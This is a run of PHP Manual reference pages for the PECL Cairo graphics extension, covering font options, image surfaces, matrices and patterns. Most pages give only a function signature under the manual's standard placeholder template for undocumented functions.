  • cairo_surface_copy_page — Description
  • cairo_surface_create_similar — Description
  • cairo_surface_finish — Description
  • cairo_surface_flush — Description
  • cairo_surface_get_content — Description
  • cairo_surface_get_device_offset — Description
  • cairo_surface_get_font_options — Description
  • cairo_surface_get_type — Description
  • cairo_surface_mark_dirty_rectangle — Description
  • cairo_surface_mark_dirty — Description
  • cairo_surface_set_device_offset — Description
  • cairo_surface_set_fallback_resolution — Description
  • cairo_surface_show_page — Description
  • cairo_surface_status — Description
  • cairo_surface_write_to_png — Description
  • cairo_svg_surface_create — Description
  • cairo_svg_surface_restrict_to_version — Description
  • cairo_svg_version_to_string — Description

User Contributed Notes

There are no user contributed notes for this page.
Examples
cairo_create
Cairo


Returns a new CairoContext object on the requested surface.

Cairo Functions
cairo_font_face_get_type
Cairo Functions
PHP Manual

cairo_create

(PECL cairo >= 0.1.0)

cairo_create — Returns a new CairoContext object on the requested surface.

Description

CairoContext cairo_create ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_create() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
Cairo Functions
cairo_font_face_get_type
Cairo Functions


cairo_create
cairo_font_face_status
Cairo Functions
PHP Manual

cairo_font_face_get_type

(PECL cairo >= 0.1.0)

cairo_font_face_get_type — Description

Description

int cairo_font_face_get_type ( CairoFontFace $fontface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

fontface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_face_get_type() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_create
cairo_font_face_status
Cairo Functions


cairo_font_face_get_type
cairo_font_options_create
Cairo Functions
PHP Manual

cairo_font_face_status

(PECL cairo >= 0.1.0)

cairo_font_face_status — Description

Description

int cairo_font_face_status ( CairoFontFace $fontface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

fontface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_face_status() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_font_face_get_type
cairo_font_options_create
Cairo Functions


cairo_font_face_status
cairo_font_options_equal
Cairo Functions
PHP Manual

cairo_font_options_create

(PECL cairo >= 0.1.0)

cairo_font_options_create — Description

Description

CairoFontOptions cairo_font_options_create ( void )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_create() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_font_face_status
cairo_font_options_equal
Cairo Functions


cairo_font_options_create
cairo_font_options_get_antialias
Cairo Functions
PHP Manual

cairo_font_options_equal

(PECL cairo >= 0.1.0)

cairo_font_options_equal — Description

Description

bool cairo_font_options_equal ( CairoFontOptions $options , CairoFontOptions $other )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

other

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_equal() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_font_options_create
cairo_font_options_get_antialias
Cairo Functions


cairo_font_options_equal
cairo_font_options_get_hint_metrics
Cairo Functions
PHP Manual

cairo_font_options_get_antialias

(PECL cairo >= 0.1.0)

cairo_font_options_get_antialias — Description

Description

int cairo_font_options_get_antialias ( CairoFontOptions $options )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_get_antialias() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_font_options_equal
cairo_font_options_get_hint_metrics
Cairo Functions


cairo_font_options_get_antialias
cairo_font_options_get_hint_style
Cairo Functions
PHP Manual

cairo_font_options_get_hint_metrics

(PECL cairo >= 0.1.0)

cairo_font_options_get_hint_metrics — Description

Description

int cairo_font_options_get_hint_metrics ( CairoFontOptions $options )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_get_hint_metrics() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_font_options_get_antialias
cairo_font_options_get_hint_style
Cairo Functions


cairo_font_options_get_hint_metrics
cairo_font_options_get_subpixel_order
Cairo Functions
PHP Manual

cairo_font_options_get_hint_style

(PECL cairo >= 0.1.0)

cairo_font_options_get_hint_style — Description

Description

int cairo_font_options_get_hint_style ( CairoFontOptions $options )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_get_hint_style() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_font_options_get_hint_metrics
cairo_font_options_get_subpixel_order
Cairo Functions


cairo_font_options_get_hint_style
cairo_font_options_hash
Cairo Functions
PHP Manual

cairo_font_options_get_subpixel_order

(PECL cairo >= 0.1.0)

cairo_font_options_get_subpixel_order — Description

Description

int cairo_font_options_get_subpixel_order ( CairoFontOptions $options )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_get_subpixel_order() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_font_options_get_hint_style
cairo_font_options_hash
Cairo Functions


cairo_font_options_get_subpixel_order
cairo_font_options_merge
Cairo Functions
PHP Manual

cairo_font_options_hash

(PECL cairo >= 0.1.0)

cairo_font_options_hash — Description

Description

int cairo_font_options_hash ( CairoFontOptions $options )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_hash() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_font_options_get_subpixel_order
cairo_font_options_merge
Cairo Functions


cairo_font_options_hash
cairo_font_options_set_antialias
Cairo Functions
PHP Manual

cairo_font_options_merge

(PECL cairo >= 0.1.0)

cairo_font_options_merge — Description

Description

void cairo_font_options_merge ( CairoFontOptions $options , CairoFontOptions $other )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

other

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_merge() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_font_options_hash
cairo_font_options_set_antialias
Cairo Functions


cairo_font_options_merge
cairo_font_options_set_hint_metrics
Cairo Functions
PHP Manual

cairo_font_options_set_antialias

(PECL cairo >= 0.1.0)

cairo_font_options_set_antialias — Description

Description

void cairo_font_options_set_antialias ( CairoFontOptions $options , int $antialias )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

antialias

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_set_antialias() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_font_options_merge
cairo_font_options_set_hint_metrics
Cairo Functions


cairo_font_options_set_antialias
cairo_font_options_set_hint_style
Cairo Functions
PHP Manual

cairo_font_options_set_hint_metrics

(PECL cairo >= 0.1.0)

cairo_font_options_set_hint_metrics — Description

Description

void cairo_font_options_set_hint_metrics ( CairoFontOptions $options , int $hint_metrics )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

hint_metrics

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_set_hint_metrics() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_font_options_set_antialias
cairo_font_options_set_hint_style
Cairo Functions


cairo_font_options_set_hint_metrics
cairo_font_options_set_subpixel_order
Cairo Functions
PHP Manual

cairo_font_options_set_hint_style

(PECL cairo >= 0.1.0)

cairo_font_options_set_hint_style — Description

Description

void cairo_font_options_set_hint_style ( CairoFontOptions $options , int $hint_style )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

hint_style

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_set_hint_style() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_font_options_set_hint_metrics
cairo_font_options_set_subpixel_order
Cairo Functions


cairo_font_options_set_hint_style
cairo_font_options_status
Cairo Functions
PHP Manual

cairo_font_options_set_subpixel_order

(PECL cairo >= 0.1.0)

cairo_font_options_set_subpixel_order — Description

Description

void cairo_font_options_set_subpixel_order ( CairoFontOptions $options , int $subpixel_order )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

subpixel_order

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_set_subpixel_order() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_font_options_set_hint_style
cairo_font_options_status
Cairo Functions


cairo_font_options_set_subpixel_order
cairo_format_stride_for_width
Cairo Functions
PHP Manual

cairo_font_options_status

(PECL cairo >= 0.1.0)

cairo_font_options_status — Description

Description

int cairo_font_options_status ( CairoFontOptions $options )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_status() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_font_options_set_subpixel_order
cairo_format_stride_for_width
Cairo Functions


cairo_font_options_status
cairo_image_surface_create_for_data
Cairo Functions
PHP Manual

cairo_format_stride_for_width

(PECL cairo >= 0.1.0)

cairo_format_stride_for_width — Description

Description

int cairo_format_stride_for_width ( int $format , int $width )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

format

Description...

width

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_format_stride_for_width() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_font_options_status
cairo_image_surface_create_for_data
Cairo Functions


cairo_format_stride_for_width
cairo_image_surface_create_from_png
Cairo Functions
PHP Manual

cairo_image_surface_create_for_data

(PECL cairo >= 0.1.0)

cairo_image_surface_create_for_data — Description

Description

CairoImageSurface cairo_image_surface_create_for_data ( string $data , int $format , int $width , int $height [, int $stride = -1 ] )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

data

Description...

format

Description...

width

Description...

height

Description...

stride

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_image_surface_create_for_data() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_format_stride_for_width
cairo_image_surface_create_from_png
Cairo Functions


cairo_image_surface_create_for_data
cairo_image_surface_create
Cairo Functions
PHP Manual

cairo_image_surface_create_from_png

(PECL cairo >= 0.1.0)

cairo_image_surface_create_from_png — Description

Description

CairoImageSurface cairo_image_surface_create_from_png ( string $file )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

file

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_image_surface_create_from_png() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_image_surface_create_for_data
cairo_image_surface_create
Cairo Functions


cairo_image_surface_create_from_png
cairo_image_surface_get_data
Cairo Functions
PHP Manual

cairo_image_surface_create

(PECL cairo >= 0.1.0)

cairo_image_surface_create — Description

Description

CairoImageSurface cairo_image_surface_create ( int $format , int $width , int $height )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

format

Description...

width

Description...

height

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_image_surface_create() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_image_surface_create_from_png
cairo_image_surface_get_data
Cairo Functions


cairo_image_surface_create
cairo_image_surface_get_format
Cairo Functions
PHP Manual

cairo_image_surface_get_data

(PECL cairo >= 0.1.0)

cairo_image_surface_get_data — Description

Description

string cairo_image_surface_get_data ( CairoImageSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_image_surface_get_data() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_image_surface_create
cairo_image_surface_get_format
Cairo Functions


cairo_image_surface_get_data
cairo_image_surface_get_height
Cairo Functions
PHP Manual

cairo_image_surface_get_format

(PECL cairo >= 0.1.0)

cairo_image_surface_get_format — Description

Description

int cairo_image_surface_get_format ( CairoImageSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_image_surface_get_format() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_image_surface_get_data
cairo_image_surface_get_height
Cairo Functions


cairo_image_surface_get_format
cairo_image_surface_get_stride
Cairo Functions
PHP Manual

cairo_image_surface_get_height

(PECL cairo >= 0.1.0)

cairo_image_surface_get_height — Description

Description

int cairo_image_surface_get_height ( CairoImageSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_image_surface_get_height() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_image_surface_get_format
cairo_image_surface_get_stride
Cairo Functions


cairo_image_surface_get_height
cairo_image_surface_get_width
Cairo Functions
PHP Manual

cairo_image_surface_get_stride

(PECL cairo >= 0.1.0)

cairo_image_surface_get_stride — Description

Description

int cairo_image_surface_get_stride ( CairoImageSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_image_surface_get_stride() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_image_surface_get_height
cairo_image_surface_get_width
Cairo Functions


cairo_image_surface_get_stride
cairo_matrix_create_scale
Cairo Functions
PHP Manual

cairo_image_surface_get_width

(PECL cairo >= 0.1.0)

cairo_image_surface_get_width — Description

Description

int cairo_image_surface_get_width ( CairoImageSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_image_surface_get_width() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_image_surface_get_stride
cairo_matrix_create_scale
Cairo Functions


Alias of CairoMatrix::initScale

cairo_image_surface_get_width
cairo_matrix_create_translate
Cairo Functions
PHP Manual

cairo_matrix_create_scale

(PECL cairo >= 0.1.0)

cairo_matrix_create_scale — Alias of CairoMatrix::initScale()

Description

This function is an alias of: CairoMatrix::initScale().

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.
cairo_image_surface_get_width
cairo_matrix_create_translate
Cairo Functions


Alias of CairoMatrix::initTranslate

cairo_matrix_create_scale
cairo_matrix_invert
Cairo Functions
PHP Manual

cairo_matrix_create_translate

(PECL cairo >= 0.1.0)

cairo_matrix_create_translate — Alias of CairoMatrix::initTranslate()

Description

This function is an alias of: CairoMatrix::initTranslate().

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.
cairo_matrix_create_scale
cairo_matrix_invert
Cairo Functions


cairo_matrix_create_translate
cairo_matrix_multiply
Cairo Functions
PHP Manual

cairo_matrix_invert

(PECL cairo >= 0.1.0)

cairo_matrix_invert — Description

Description

void cairo_matrix_invert ( CairoMatrix $matrix )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

matrix

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_matrix_invert() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_matrix_create_translate
cairo_matrix_multiply
Cairo Functions


cairo_matrix_invert
cairo_matrix_rotate
Cairo Functions
PHP Manual

cairo_matrix_multiply

(PECL cairo >= 0.1.0)

cairo_matrix_multiply — Description

Description

CairoMatrix cairo_matrix_multiply ( CairoMatrix $matrix1 , CairoMatrix $matrix2 )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

matrix1

Description...

matrix2

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_matrix_multiply() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_matrix_invert
cairo_matrix_rotate
Cairo Functions


cairo_matrix_multiply
cairo_matrix_transform_distance
Cairo Functions
PHP Manual

cairo_matrix_rotate

(PECL cairo >= 0.1.0)

cairo_matrix_rotate — Description

Description

void cairo_matrix_rotate ( CairoMatrix $matrix , float $radians )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

matrix

Description...

radians

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_matrix_rotate() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_matrix_multiply
cairo_matrix_transform_distance
Cairo Functions


cairo_matrix_rotate
cairo_matrix_transform_point
Cairo Functions
PHP Manual

cairo_matrix_transform_distance

(PECL cairo >= 0.1.0)

cairo_matrix_transform_distance — Description

Description

array cairo_matrix_transform_distance ( CairoMatrix $matrix , float $dx , float $dy )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

matrix

Description...

dx

Description...

dy

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_matrix_transform_distance() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_matrix_rotate
cairo_matrix_transform_point
Cairo Functions


cairo_matrix_transform_distance
cairo_matrix_translate
Cairo Functions
PHP Manual

cairo_matrix_transform_point

(PECL cairo >= 0.1.0)

cairo_matrix_transform_point — Description

Description

array cairo_matrix_transform_point ( CairoMatrix $matrix , float $dx , float $dy )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

matrix

Description...

dx

Description...

dy

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_matrix_transform_point() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_matrix_transform_distance
cairo_matrix_translate
Cairo Functions


cairo_matrix_transform_point
cairo_pattern_add_color_stop_rgb
Cairo Functions
PHP Manual

cairo_matrix_translate

(PECL cairo >= 0.1.0)

cairo_matrix_translate — Description

Description

void cairo_matrix_translate ( CairoMatrix $matrix , float $tx , float $ty )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

matrix

Description...

tx

Description...

ty

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_matrix_translate() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_matrix_transform_point
cairo_pattern_add_color_stop_rgb
Cairo Functions


cairo_matrix_translate
cairo_pattern_add_color_stop_rgba
Cairo Functions
PHP Manual

cairo_pattern_add_color_stop_rgb

(PECL cairo >= 0.1.0)

cairo_pattern_add_color_stop_rgb — Description

Description

void cairo_pattern_add_color_stop_rgb ( CairoGradientPattern $pattern , float $offset , float $red , float $green , float $blue )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

offset

Description...

red

Description...

green

Description...

blue

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_add_color_stop_rgb() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_matrix_translate
cairo_pattern_add_color_stop_rgba
Cairo Functions


cairo_pattern_add_color_stop_rgb
cairo_pattern_create_for_surface
Cairo Functions
PHP Manual

cairo_pattern_add_color_stop_rgba

(PECL cairo >= 0.1.0)

cairo_pattern_add_color_stop_rgba — Description

Description

void cairo_pattern_add_color_stop_rgba ( CairoGradientPattern $pattern , float $offset , float $red , float $green , float $blue , float $alpha )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

offset

Description...

red

Description...

green

Description...

blue

Description...

alpha

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_add_color_stop_rgba() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pattern_add_color_stop_rgb
cairo_pattern_create_for_surface
Cairo Functions


cairo_pattern_add_color_stop_rgba
cairo_pattern_create_linear
Cairo Functions
PHP Manual

cairo_pattern_create_for_surface

(PECL cairo >= 0.1.0)

cairo_pattern_create_for_surface — Description

Description

CairoPattern cairo_pattern_create_for_surface ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_create_for_surface() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pattern_add_color_stop_rgba
cairo_pattern_create_linear
Cairo Functions


cairo_pattern_create_for_surface
cairo_pattern_create_radial
Cairo Functions
PHP Manual

cairo_pattern_create_linear

(PECL cairo >= 0.1.0)

cairo_pattern_create_linear — Description

Description

CairoPattern cairo_pattern_create_linear ( float $x0 , float $y0 , float $x1 , float $y1 )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

x0

Description...

y0

Description...

x1

Description...

y1

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_create_linear() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pattern_create_for_surface
cairo_pattern_create_radial
Cairo Functions


cairo_pattern_create_linear
cairo_pattern_create_rgb
Cairo Functions
PHP Manual

cairo_pattern_create_radial

(PECL cairo >= 0.1.0)

cairo_pattern_create_radial — Description

Description

CairoPattern cairo_pattern_create_radial ( float $x0 , float $y0 , float $r0 , float $x1 , float $y1 , float $r1 )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

x0

Description...

y0

Description...

r0

Description...

x1

Description...

y1

Description...

r1

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_create_radial() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pattern_create_linear
cairo_pattern_create_rgb
Cairo Functions


cairo_pattern_create_radial
cairo_pattern_create_rgba
Cairo Functions
PHP Manual

cairo_pattern_create_rgb

(PECL cairo >= 0.1.0)

cairo_pattern_create_rgb — Description

Description

CairoPattern cairo_pattern_create_rgb ( float $red , float $green , float $blue )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

red

Description...

green

Description...

blue

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_create_rgb() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pattern_create_radial
cairo_pattern_create_rgba
Cairo Functions


cairo_pattern_create_rgb
cairo_pattern_get_color_stop_count
Cairo Functions
PHP Manual

cairo_pattern_create_rgba

(PECL cairo >= 0.1.0)

cairo_pattern_create_rgba — Description

Description

CairoPattern cairo_pattern_create_rgba ( float $red , float $green , float $blue , float $alpha )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

red

Description...

green

Description...

blue

Description...

alpha

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_create_rgba() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
